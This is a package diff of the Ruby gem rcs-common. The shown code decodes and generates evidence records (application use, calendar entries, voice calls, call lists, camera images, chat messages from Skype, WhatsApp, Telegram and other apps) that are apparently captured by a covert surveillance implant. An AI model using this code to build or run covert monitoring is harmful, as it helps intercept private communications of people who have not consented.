rcs-common 9.6.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (116) hide show
  1. checksums.yaml +7 -0
  2. data/.gitignore +49 -0
  3. data/Gemfile +4 -0
  4. data/LICENSE.txt +1 -0
  5. data/Rakefile +27 -0
  6. data/lib/rcs-common.rb +21 -0
  7. data/lib/rcs-common/binary.rb +64 -0
  8. data/lib/rcs-common/cgi.rb +7 -0
  9. data/lib/rcs-common/component.rb +87 -0
  10. data/lib/rcs-common/crypt.rb +71 -0
  11. data/lib/rcs-common/deploy.rb +96 -0
  12. data/lib/rcs-common/diagnosticable.rb +136 -0
  13. data/lib/rcs-common/evidence.rb +261 -0
  14. data/lib/rcs-common/evidence/addressbook.rb +173 -0
  15. data/lib/rcs-common/evidence/application.rb +59 -0
  16. data/lib/rcs-common/evidence/calendar.rb +62 -0
  17. data/lib/rcs-common/evidence/call.rb +185 -0
  18. data/lib/rcs-common/evidence/camera.rb +25 -0
  19. data/lib/rcs-common/evidence/chat.rb +272 -0
  20. data/lib/rcs-common/evidence/clibpoard.rb +58 -0
  21. data/lib/rcs-common/evidence/command.rb +50 -0
  22. data/lib/rcs-common/evidence/common.rb +78 -0
  23. data/lib/rcs-common/evidence/content/camera/001.jpg +0 -0
  24. data/lib/rcs-common/evidence/content/coin/wallet_bit.dat +0 -0
  25. data/lib/rcs-common/evidence/content/coin/wallet_lite.dat +0 -0
  26. data/lib/rcs-common/evidence/content/file/Einstein.docx +0 -0
  27. data/lib/rcs-common/evidence/content/file/arabic.docx +0 -0
  28. data/lib/rcs-common/evidence/content/mouse/001.jpg +0 -0
  29. data/lib/rcs-common/evidence/content/mouse/002.jpg +0 -0
  30. data/lib/rcs-common/evidence/content/mouse/003.jpg +0 -0
  31. data/lib/rcs-common/evidence/content/mouse/004.jpg +0 -0
  32. data/lib/rcs-common/evidence/content/print/001.jpg +0 -0
  33. data/lib/rcs-common/evidence/content/screenshot/001.jpg +0 -0
  34. data/lib/rcs-common/evidence/content/screenshot/002.jpg +0 -0
  35. data/lib/rcs-common/evidence/content/screenshot/003.jpg +0 -0
  36. data/lib/rcs-common/evidence/content/url/001.jpg +0 -0
  37. data/lib/rcs-common/evidence/content/url/002.jpg +0 -0
  38. data/lib/rcs-common/evidence/content/url/003.jpg +0 -0
  39. data/lib/rcs-common/evidence/device.rb +23 -0
  40. data/lib/rcs-common/evidence/download.rb +54 -0
  41. data/lib/rcs-common/evidence/exec.rb +0 -0
  42. data/lib/rcs-common/evidence/file.rb +129 -0
  43. data/lib/rcs-common/evidence/filesystem.rb +71 -0
  44. data/lib/rcs-common/evidence/info.rb +24 -0
  45. data/lib/rcs-common/evidence/keylog.rb +84 -0
  46. data/lib/rcs-common/evidence/mail.rb +237 -0
  47. data/lib/rcs-common/evidence/mic.rb +39 -0
  48. data/lib/rcs-common/evidence/mms.rb +36 -0
  49. data/lib/rcs-common/evidence/money.rb +676 -0
  50. data/lib/rcs-common/evidence/mouse.rb +62 -0
  51. data/lib/rcs-common/evidence/password.rb +60 -0
  52. data/lib/rcs-common/evidence/photo.rb +80 -0
  53. data/lib/rcs-common/evidence/position.rb +303 -0
  54. data/lib/rcs-common/evidence/print.rb +50 -0
  55. data/lib/rcs-common/evidence/screenshot.rb +53 -0
  56. data/lib/rcs-common/evidence/sms.rb +91 -0
  57. data/lib/rcs-common/evidence/url.rb +133 -0
  58. data/lib/rcs-common/fixnum.rb +48 -0
  59. data/lib/rcs-common/gridfs.rb +294 -0
  60. data/lib/rcs-common/heartbeat.rb +96 -0
  61. data/lib/rcs-common/keywords.rb +50 -0
  62. data/lib/rcs-common/mime.rb +65 -0
  63. data/lib/rcs-common/mongoid.rb +19 -0
  64. data/lib/rcs-common/pascalize.rb +62 -0
  65. data/lib/rcs-common/path_utils.rb +67 -0
  66. data/lib/rcs-common/resolver.rb +40 -0
  67. data/lib/rcs-common/rest.rb +17 -0
  68. data/lib/rcs-common/sanitize.rb +42 -0
  69. data/lib/rcs-common/serializer.rb +404 -0
  70. data/lib/rcs-common/signature.rb +141 -0
  71. data/lib/rcs-common/stats.rb +94 -0
  72. data/lib/rcs-common/symbolize.rb +10 -0
  73. data/lib/rcs-common/systemstatus.rb +136 -0
  74. data/lib/rcs-common/temporary.rb +13 -0
  75. data/lib/rcs-common/time.rb +24 -0
  76. data/lib/rcs-common/trace.rb +138 -0
  77. data/lib/rcs-common/trace.yaml +42 -0
  78. data/lib/rcs-common/updater/client.rb +354 -0
  79. data/lib/rcs-common/updater/dsl.rb +178 -0
  80. data/lib/rcs-common/updater/payload.rb +79 -0
  81. data/lib/rcs-common/updater/server.rb +126 -0
  82. data/lib/rcs-common/updater/shared_key.rb +55 -0
  83. data/lib/rcs-common/updater/tmp_dir.rb +13 -0
  84. data/lib/rcs-common/utf16le.rb +83 -0
  85. data/lib/rcs-common/version.rb +5 -0
  86. data/lib/rcs-common/winfirewall.rb +235 -0
  87. data/rcs-common.gemspec +64 -0
  88. data/spec/gridfs_spec.rb +637 -0
  89. data/spec/mongoid.yaml +6 -0
  90. data/spec/signature_spec.rb +105 -0
  91. data/spec/spec_helper.rb +22 -0
  92. data/spec/updater_spec.rb +80 -0
  93. data/tasks/deploy.rake +21 -0
  94. data/tasks/protect.rake +90 -0
  95. data/test/helper.rb +17 -0
  96. data/test/test_binary.rb +107 -0
  97. data/test/test_cgi.rb +14 -0
  98. data/test/test_crypt.rb +125 -0
  99. data/test/test_evidence.rb +52 -0
  100. data/test/test_evidence_manager.rb +119 -0
  101. data/test/test_fixnum.rb +35 -0
  102. data/test/test_keywords.rb +137 -0
  103. data/test/test_mime.rb +49 -0
  104. data/test/test_pascalize.rb +100 -0
  105. data/test/test_path_utils.rb +24 -0
  106. data/test/test_rcs-common.rb +7 -0
  107. data/test/test_sanitize.rb +40 -0
  108. data/test/test_serialization.rb +20 -0
  109. data/test/test_stats.rb +90 -0
  110. data/test/test_symbolize.rb +20 -0
  111. data/test/test_systemstatus.rb +35 -0
  112. data/test/test_time.rb +56 -0
  113. data/test/test_trace.rb +25 -0
  114. data/test/test_utf16le.rb +71 -0
  115. data/test/test_winfirewall.rb +68 -0
  116. metadata +423 -0
@@ -0,0 +1,59 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module ApplicationEvidence
6
+
7
+ ELEM_DELIMITER = 0xABADC0DE
8
+
9
+ def content
10
+ program = ["Safari", "Opera", "Firefox"].sample.to_utf16le_binary_null
11
+ action = ['START', 'STOP'].sample.to_utf16le_binary_null
12
+ info = ['qui quo qua', 'ciao miao bau'].sample.to_utf16le_binary_null
13
+ content = StringIO.new
14
+ t = Time.now.getutc
15
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
16
+ content.write program
17
+ content.write action
18
+ content.write info
19
+ content.write [ ELEM_DELIMITER ].pack('L')
20
+
21
+ content.string
22
+ end
23
+
24
+ def generate_content
25
+ ret = Array.new
26
+ 10.rand_times { ret << content() }
27
+ ret
28
+ end
29
+
30
+ def decode_content(common_info, chunks)
31
+ stream = StringIO.new chunks.join
32
+
33
+ until stream.eof?
34
+ info = Hash[common_info]
35
+ info[:data] = Hash.new if info[:data].nil?
36
+
37
+ tm = stream.read 36
38
+ info[:da] = Time.gm(*tm.unpack('L*'), 0)
39
+ info[:data][:program] = ''
40
+ info[:data][:action] = ''
41
+ info[:data][:desc] = ''
42
+
43
+ program = stream.read_utf16le_string
44
+ info[:data][:program] = program.utf16le_to_utf8 unless program.nil?
45
+ action = stream.read_utf16le_string
46
+ info[:data][:action] = action.utf16le_to_utf8 unless action.nil?
47
+ desc = stream.read_utf16le_string
48
+ info[:data][:desc] = desc.utf16le_to_utf8 unless desc.nil?
49
+
50
+ delim = stream.read(4).unpack('L').first
51
+ raise EvidenceDeserializeError.new("Malformed APPLICATION (missing delimiter)") unless delim == ELEM_DELIMITER
52
+
53
+ yield info if block_given?
54
+ end
55
+ :delete_raw
56
+ end
57
+ end
58
+
59
+ end # ::RCS
@@ -0,0 +1,62 @@
1
+ require_relative 'common'
2
+ require 'rcs-common/serializer'
3
+
4
+ module RCS
5
+ module CalendarEvidence
6
+ def content
7
+ raise "Not implemented!"
8
+ end
9
+
10
+ def generate_content
11
+ raise "Not implemented!"
12
+ end
13
+
14
+ def decode_content(common_info, chunks)
15
+ stream = StringIO.new chunks.join
16
+
17
+ until stream.eof?
18
+ info = Hash[common_info]
19
+ info[:data] ||= Hash.new
20
+
21
+ @calendar = CalendarSerializer.new.unserialize stream
22
+
23
+ info[:data][:event] = @calendar.fields[:subject]
24
+ info[:data][:type] = @calendar.fields[:categories]
25
+ info[:data][:begin] = @calendar.start_date.to_i
26
+ info[:data][:end] = @calendar.end_date.to_i
27
+ info[:data][:info] = ""
28
+
29
+ trace :debug, "#{info[:data]}"
30
+
31
+ unless @calendar.fields[:recipients].nil?
32
+ recipients = @calendar.fields[:recipients]
33
+ unless recipients.empty?
34
+ info[:data][:recipients] = recipients
35
+ info[:data][:info] += "#{recipients}"
36
+ end
37
+ end
38
+
39
+ unless @calendar.fields[:location].nil?
40
+ location = @calendar.fields[:location]
41
+ unless location.empty?
42
+ info[:data][:location] = location
43
+ info[:data][:info] += " - " unless info[:data][:info].empty?
44
+ info[:data][:info] += "#{location}"
45
+ end
46
+ end
47
+
48
+ unless @calendar.fields[:body].nil?
49
+ body = @calendar.fields[:body]
50
+ unless body.empty?
51
+ info[:data][:body] = body
52
+ info[:data][:info] += " - " unless info[:data][:info].empty?
53
+ info[:data][:info] += "#{body}"
54
+ end
55
+ end
56
+
57
+ yield info if block_given?
58
+ end
59
+ :keep_raw
60
+ end
61
+ end # ::CalendarEvidence
62
+ end # ::RCS
@@ -0,0 +1,185 @@
1
+
2
+ require 'rcs-common/evidence/common'
3
+
4
+ module RCS
5
+
6
+ module CallEvidence
7
+
8
+ LOG_VOICE_VERSION = 2008121901
9
+ CHANNEL = { 0 => :incoming, 1 => :outgoing }
10
+ CALL_PROGRAM = { 0x0141 => :skype,
11
+ 0x0142 => :gtalk,
12
+ 0x0143 => :yahoo,
13
+ 0x0144 => :msn,
14
+ 0x0145 => :phone,
15
+ 0x0146 => :skype,
16
+ 0X0147 => :msn,
17
+ 0x0148 => :viber,
18
+ 0x0149 => :wechat,
19
+ 0x014a => :line,
20
+ }
21
+
22
+ def decode_additional_header(data)
23
+
24
+ raise EvidenceDeserializeError.new("incomplete evidence") if data.nil? or data.bytesize == 0
25
+
26
+ stream = StringIO.new data
27
+ version = read_uint32 stream
28
+
29
+ raise EvidenceDeserializeError.new("invalid log version for voice call") unless version == LOG_VOICE_VERSION
30
+
31
+ ret = Hash.new
32
+ ret[:data] = Hash.new
33
+
34
+ channel = read_uint32 stream
35
+ ret[:data][:channel] = CHANNEL[channel]
36
+
37
+ software = read_uint32 stream
38
+ ret[:data][:program] = CALL_PROGRAM[software]
39
+
40
+ ret[:data][:sample_rate] = read_uint32 stream
41
+ ret[:data][:incoming] = read_uint32 stream
42
+
43
+ low, high = stream.read(8).unpack 'L2'
44
+ ret[:data][:start_time] = Time.from_filetime high, low
45
+ low, high = stream.read(8).unpack 'L2'
46
+ ret[:data][:stop_time] = Time.from_filetime high, low
47
+
48
+ caller_len = read_uint32 stream
49
+ callee_len = read_uint32 stream
50
+
51
+ ret[:data][:peer] = "<unknown>" if callee_len == 0
52
+
53
+ ret[:data][:caller] ||= stream.read(caller_len).utf16le_to_utf8.lstrip.rstrip if caller_len != 0
54
+ ret[:data][:peer] ||= stream.read(callee_len).utf16le_to_utf8.lstrip.rstrip if callee_len != 0
55
+
56
+ ret
57
+ end
58
+
59
+ def decode_content(common_info, chunks)
60
+ info = Hash[common_info]
61
+ info[:data] ||= Hash.new
62
+
63
+ info[:data][:grid_content] = chunks.join
64
+
65
+ info[:end_call] = true if info[:data][:grid_content] == "\xff\xff\xff\xff".force_encoding("ASCII-8BIT")
66
+ info[:end_call] ||= false
67
+
68
+ yield info if block_given?
69
+ :keep_raw
70
+ end
71
+ end
72
+
73
+ module CalllistoldEvidence
74
+
75
+ def content
76
+ raise "Not implemented!"
77
+ end
78
+
79
+ def generate_content
80
+ raise "Not implemented!"
81
+ end
82
+
83
+ def decode_content(common_info, chunks)
84
+
85
+ info = Hash[common_info]
86
+ info[:data] ||= Hash.new
87
+
88
+ stream = StringIO.new chunks.join
89
+
90
+ @call_list = CallListSerializer.new.unserialize stream
91
+
92
+ info[:da] = @call_list.start_time
93
+ info[:data][:peer] = @call_list.fields[:number]
94
+ info[:data][:peer_name] = @call_list.fields[:name] unless @call_list.fields[:name].nil?
95
+ info[:data][:program] = 'Phone'
96
+ info[:data][:status] = :history
97
+ info[:data][:duration] = (@call_list.end_time - @call_list.start_time).to_i
98
+ info[:data][:incoming] = (@call_list.properties.include? :incoming) ? 1 : 0
99
+
100
+ yield info if block_given?
101
+ :delete_raw
102
+ end
103
+
104
+ end # ::CalllistoldEvidence
105
+
106
+ module CalllistEvidence
107
+ include RCS::Tracer
108
+
109
+ ELEM_DELIMITER = 0xABADC0DE
110
+
111
+ CALL_INCOMING = 0x01
112
+
113
+ PROGRAM_TYPE = {
114
+ 0x00 => :phone,
115
+ 0x01 => :skype,
116
+ 0x02 => :viber,
117
+ }
118
+
119
+ def content
120
+ program = [PROGRAM_TYPE.keys.sample].pack('L')
121
+ flags = [[0,1].sample].pack('L')
122
+ users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
123
+ from = users.sample.to_utf16le_binary_null
124
+ to = users.sample.to_utf16le_binary_null
125
+ duration = rand(0..500)
126
+
127
+ content = StringIO.new
128
+ t = Time.now.getutc
129
+ content.write [t.to_i].pack('L')
130
+ content.write program
131
+ content.write flags
132
+ content.write from
133
+ content.write from
134
+ content.write to
135
+ content.write to
136
+ content.write [duration].pack('L')
137
+ content.write [ ELEM_DELIMITER ].pack('L')
138
+
139
+ content.string
140
+ end
141
+
142
+ def generate_content
143
+ ret = Array.new
144
+ 10.rand_times { ret << content() }
145
+ ret
146
+ end
147
+
148
+ def decode_content(common_info, chunks)
149
+ stream = StringIO.new chunks.join
150
+
151
+ until stream.eof?
152
+ tm = stream.read(4)
153
+ info = Hash[common_info]
154
+ info[:da] = Time.at(tm.unpack('L').first)
155
+ info[:data] = Hash.new if info[:data].nil?
156
+
157
+ program = stream.read(4).unpack('L').first
158
+ info[:data][:program] = PROGRAM_TYPE[program]
159
+
160
+ flags = stream.read(4).unpack('L').first
161
+ info[:data][:incoming] = (flags & CALL_INCOMING != 0) ? 1 : 0
162
+
163
+ from = stream.read_utf16le_string
164
+ info[:data][:from] = from.utf16le_to_utf8
165
+ from_display = stream.read_utf16le_string
166
+ info[:data][:from_display] = from_display.utf16le_to_utf8
167
+
168
+ rcpt = stream.read_utf16le_string
169
+ info[:data][:rcpt] = rcpt.utf16le_to_utf8
170
+ rcpt_display = stream.read_utf16le_string
171
+ info[:data][:rcpt_display] = rcpt_display.utf16le_to_utf8
172
+
173
+ info[:data][:duration] = stream.read(4).unpack('L').first
174
+
175
+ delim = stream.read(4).unpack("L").first
176
+ raise EvidenceDeserializeError.new("Malformed CALLLIST (missing delimiter)") unless delim == ELEM_DELIMITER
177
+
178
+ yield info if block_given?
179
+ end
180
+ :delete_raw
181
+ end
182
+ end # CalllistEvidence
183
+
184
+
185
+ end # RCS::
@@ -0,0 +1,25 @@
1
+ require 'rcs-common/evidence/common'
2
+
3
+ module RCS
4
+
5
+ module CameraEvidence
6
+
7
+ def content
8
+ path = File.join(File.dirname(__FILE__), 'content', 'camera', '001.jpg')
9
+ File.open(path, 'rb') {|f| f.read }
10
+ end
11
+
12
+ def generate_content
13
+ [ content ]
14
+ end
15
+
16
+ def decode_content(common_info, chunks)
17
+ info = Hash[common_info]
18
+ info[:data] = Hash.new if info[:data].nil?
19
+ info[:grid_content] = chunks.first
20
+ yield info if block_given?
21
+ :delete_raw
22
+ end
23
+ end
24
+
25
+ end # ::RCS
@@ -0,0 +1,272 @@
1
+ # encoding: utf-8
2
+
3
+ require 'rcs-common/trace'
4
+ require 'rcs-common/evidence/common'
5
+
6
+ module RCS
7
+
8
+ module Chat
9
+
10
+ CHAT_PROGRAM = {
11
+ 0x01 => :skype,
12
+ 0x02 => :facebook,
13
+ 0x03 => :twitter,
14
+ 0x04 => :gmail,
15
+ 0x05 => :bbm,
16
+ 0x06 => :whatsapp,
17
+ 0x07 => :msn,
18
+ 0x08 => :adium,
19
+ 0x09 => :viber,
20
+ 0x0a => :wechat,
21
+ 0x0d => :line,
22
+ 0x0e => :telegram,
23
+ 0x0f => :yahoo,
24
+ 0x10 => :messages,
25
+ }
26
+
27
+ CHAT_INCOMING = 0x00000001
28
+ CHATMM_NOT_RETRIEVED = 0x10000000
29
+
30
+ def decode_from_to(common_info, stream)
31
+ tm = stream.read 36
32
+ info = Hash[common_info]
33
+ info[:da] = Time.gm(*(tm.unpack('L*')), 0)
34
+ info[:data] = Hash.new if info[:data].nil?
35
+
36
+ program = stream.read(4).unpack('L').first
37
+ info[:data][:program] = CHAT_PROGRAM[program]
38
+
39
+ flags = stream.read(4).unpack('L').first
40
+ info[:data][:incoming] = (flags & CHAT_INCOMING != 0) ? 1 : 0
41
+ info[:data][:size] = (flags & CHATMM_NOT_RETRIEVED != 0) ? 0 : 1
42
+
43
+ from = stream.read_utf16le_string
44
+ info[:data][:from] = from.utf16le_to_utf8
45
+ #trace :debug, "CHAT from: #{info[:data][:from]}"
46
+ from_display = stream.read_utf16le_string
47
+ info[:data][:from_display] = from_display.utf16le_to_utf8
48
+ #trace :debug, "CHAT from_display: #{info[:data][:from_display]}"
49
+
50
+ rcpt = stream.read_utf16le_string
51
+ info[:data][:rcpt] = rcpt.utf16le_to_utf8
52
+
53
+ # remove the sender from the recipients (damned lazy Naga who does not want to parse it on the client)
54
+ recipients = info[:data][:rcpt].split(',')
55
+ recipients.delete(info[:data][:from])
56
+ info[:data][:rcpt] = recipients.join(',')
57
+ #trace :debug, "CHAT rcpt: #{info[:data][:rcpt]}"
58
+
59
+ rcpt_display = stream.read_utf16le_string
60
+ info[:data][:rcpt_display] = rcpt_display.utf16le_to_utf8
61
+ if info[:data][:program] == :skype
62
+ # remove the sender from the recipients (damned lazy Naga who does not want to parse it on the client)
63
+ recipients = info[:data][:rcpt_display].split(',')
64
+ recipients.delete(info[:data][:from])
65
+ info[:data][:rcpt_display] = recipients.join(',')
66
+ end
67
+ #trace :debug, "CHAT rcpt_display: #{info[:data][:rcpt_display]}"
68
+
69
+ return info
70
+ end
71
+ end
72
+
73
+ module ChatEvidence
74
+ include RCS::Tracer
75
+ include Chat
76
+
77
+ ELEM_DELIMITER = 0xABADC0DE
78
+ KEYSTROKES = ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"]
79
+
80
+ def content
81
+ program = [CHAT_PROGRAM.keys.sample].pack('L')
82
+ users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
83
+ from = users.sample.to_utf16le_binary_null
84
+ to = users.sample.to_utf16le_binary_null
85
+
86
+ content = StringIO.new
87
+ t = Time.now.getutc
88
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
89
+ content.write program
90
+ content.write [0].pack('L')
91
+ content.write from
92
+ content.write from
93
+ content.write to
94
+ content.write to
95
+ content.write KEYSTROKES.sample.to_utf16le_binary_null
96
+ content.write [ ELEM_DELIMITER ].pack('L')
97
+
98
+ content.write [t.sec + 5, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
99
+ content.write program
100
+ content.write [1].pack('L')
101
+ content.write to
102
+ content.write to
103
+ content.write from
104
+ content.write from
105
+ content.write KEYSTROKES.sample.to_utf16le_binary_null
106
+ content.write [ ELEM_DELIMITER ].pack('L')
107
+
108
+ content.string
109
+ end
110
+
111
+ def generate_content
112
+ [ content ]
113
+ end
114
+
115
+ def decode_content(common_info, chunks)
116
+ stream = StringIO.new chunks.join
117
+
118
+ until stream.eof?
119
+
120
+ info = decode_from_to(common_info, stream)
121
+
122
+ keystrokes = stream.read_utf16le_string
123
+ info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil?
124
+ #trace :debug, "CHAT content: #{info[:data][:content]}"
125
+
126
+ delim = stream.read(4).unpack("L").first
127
+ raise EvidenceDeserializeError.new("Malformed CHAT (missing delimiter)") unless delim == ELEM_DELIMITER
128
+
129
+ yield info if block_given?
130
+ end
131
+ :delete_raw
132
+ end
133
+ end # ChatEvidence
134
+
135
+
136
+ module ChatmmEvidence
137
+ include RCS::Tracer
138
+ include Chat
139
+
140
+ def content
141
+ path = File.join(File.dirname(__FILE__), 'content', 'screenshot', '00' + (rand(3) + 1).to_s + '.jpg')
142
+ File.open(path, 'rb') {|f| f.read }
143
+ end
144
+
145
+ def generate_content
146
+ [ content ]
147
+ end
148
+
149
+ def additional_header
150
+ program = [CHAT_PROGRAM.keys.sample].pack('L')
151
+ flags = [[0,1].sample].pack('L')
152
+ users = ["ALoR", "Bruno", "Naga", "Quez", "Tizio", "Caio"]
153
+ from = users.sample.to_utf16le_binary_null
154
+ to = users.sample.to_utf16le_binary_null
155
+ mime = "image/jpeg".to_utf16le_binary_null
156
+ filename = "nice_picture.jpeg".to_utf16le_binary_null
157
+
158
+ header = StringIO.new
159
+ t = Time.now.getutc
160
+ header.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
161
+ header.write program
162
+ header.write flags
163
+ header.write from
164
+ header.write from
165
+ header.write to
166
+ header.write to
167
+ header.write mime
168
+ header.write filename
169
+
170
+ header.string
171
+ end
172
+
173
+
174
+ def decode_additional_header(data)
175
+ raise EvidenceDeserializeError.new("incomplete CHAT MultiMedia") if data.nil? or data.bytesize == 0
176
+
177
+ stream = StringIO.new data
178
+ info = decode_from_to({}, stream)
179
+
180
+ content_type = stream.read_utf16le_string
181
+ info[:data][:type] = content_type.utf16le_to_utf8 unless content_type.nil?
182
+
183
+ filename = stream.read_utf16le_string
184
+ info[:data][:path] = filename.utf16le_to_utf8 unless filename.nil?
185
+
186
+ return info
187
+ end
188
+
189
+ def decode_content(common_info, chunks)
190
+ info = Hash[common_info]
191
+ info[:data] ||= Hash.new
192
+ info[:grid_content] = chunks.join if info[:data][:size] != 0
193
+ yield info if block_given?
194
+ :delete_raw
195
+ end
196
+
197
+ end
198
+
199
+
200
+ module ChatoldEvidence
201
+ include RCS::Tracer
202
+
203
+ ELEM_DELIMITER = 0xABADC0DE
204
+ KEYSTROKES = ["привет мир", "こんにちは世界", "Hello world!", "Ciao mondo!"]
205
+
206
+ def content
207
+ program = ["MSN", "Skype", "Yahoo", "Paltalk", "Sticazzi"].sample.to_utf16le_binary_null
208
+ topic = ["Chatting...", "New projecs", "Fuffa", "Bubbole"].sample.to_utf16le_binary_null
209
+ users = ["ALoR, Daniel", "Bruno, Fulvio", "Naga, Quez", "Tizio, Caio"].sample.to_utf16le_binary_null
210
+ content = StringIO.new
211
+ t = Time.now.getutc
212
+ content.write [t.sec, t.min, t.hour, t.mday, t.mon, t.year, t.wday, t.yday, t.isdst ? 0 : 1].pack('l*')
213
+ content.write program
214
+ content.write topic
215
+ content.write users
216
+ content.write KEYSTROKES.sample.to_utf16le_binary_null
217
+ content.write [ ELEM_DELIMITER ].pack('L')
218
+
219
+ content.string
220
+ end
221
+
222
+ def generate_content
223
+ ret = Array.new
224
+ 10.rand_times { ret << content() }
225
+ ret
226
+ end
227
+
228
+ def decode_content(common_info, chunks)
229
+ stream = StringIO.new chunks.join
230
+
231
+ until stream.eof?
232
+ tm = stream.read 36
233
+ #trace :info, "CHAT Time.gm #{tm.unpack('l*')}"
234
+ info = Hash[common_info]
235
+ info[:da] = Time.gm(*(tm.unpack('L*')), 0)
236
+ info[:data] = Hash.new if info[:data].nil?
237
+ info[:data][:program] = ''
238
+ info[:data][:topic] = ''
239
+ info[:data][:peer] = ''
240
+ info[:data][:content] = ''
241
+
242
+ program = stream.read_utf16le_string
243
+ info[:data][:program] = program.utf16le_to_utf8 unless program.nil?
244
+ #trace :info, "CHAT Program #{info[:data][:program]}"
245
+ topic = stream.read_utf16le_string
246
+ info[:data][:topic] = topic.utf16le_to_utf8 unless topic.nil?
247
+ #trace :info, "CHAT Topic #{info[:data][:topic]}"
248
+ users = stream.read_utf16le_string
249
+ info[:data][:peer] = users.utf16le_to_utf8 unless users.nil?
250
+ #trace :info, "CHAT Users #{info[:data][:users]}"
251
+ keystrokes = stream.read_utf16le_string
252
+ info[:data][:content] = keystrokes.utf16le_to_utf8 unless keystrokes.nil?
253
+
254
+ begin
255
+ info[:data][:content] = JSON.parse info[:data][:content]
256
+ rescue Exception => e
257
+ # leave content as is
258
+ end
259
+
260
+ delim = stream.read(4).unpack("L*").first
261
+ raise EvidenceDeserializeError.new("Malformed CHAT OLD (missing delimiter)") unless delim == ELEM_DELIMITER
262
+
263
+ #puts "decode_content #{info}"
264
+
265
+ yield info if block_given?
266
+ end
267
+ :delete_raw
268
+ end
269
+ end # ChatoldEvidence
270
+
271
+
272
+ end # ::RCS